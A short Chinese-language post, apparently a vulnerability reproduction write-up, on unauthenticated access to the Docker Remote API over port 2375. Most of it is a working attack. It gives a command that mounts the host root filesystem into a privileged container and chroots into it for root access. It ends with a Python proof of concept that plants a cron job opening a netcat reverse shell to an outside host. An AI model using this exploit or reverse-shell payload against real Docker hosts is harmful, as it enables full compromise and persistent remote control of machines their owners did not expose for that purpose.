漏洞介绍
其实这个漏洞2016年就已经有了,Docker Remote API主要用于远程访问Docker守护进程从而下达指令,但是默认开启API是没有访问验证的,也就是说存在未授权访问,攻击者只需要知道目标Docker机器IP即可发起攻击获取root权限
复现过程
安装Docker
yum install docker -y
开启Remote API
- Ubuntu系统:
/etc/default/docker
- Centos系统:
/etc/sysconfig/docker
在配置文件添加如下内容
OPTIONS='-H=tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock'
之后重启服务,查看2375端口是否开放
漏洞利用
docker -H x.x.x.x:2375 run --rm -it --privileged --net=host -v /:/mnt busybox
chroot /mnt/
whoami
解释一下命令
- -H 指定Docker机器IP
- –rm是指退出容器之后删除busybox容器
- –it守护后台运行
- –privileged 以root权限运行容器
- –net=host 映射宿主机网络
- -v /:/mnt 将宿主机根目录映射到容器/mnt目录下
其中 -v 参数是关键,chroot命令用于改变根目录,最终上述命令通过API的未授权访问创建了一个容器,并将宿主机的目录映射到容器中,我们进入到容器中,chroot切换到/mnt目录就相当于进入到了宿主机的根目录,从而获取了完全控制权限
Poc
经测试Busybox体积最小,只有1.13M
import docker
client = docker.DockerClient(base_url='http://192.168.1.10:2375/')
data = client.containers.run('busybox:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.1.110 8888 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
请登录后查看回复内容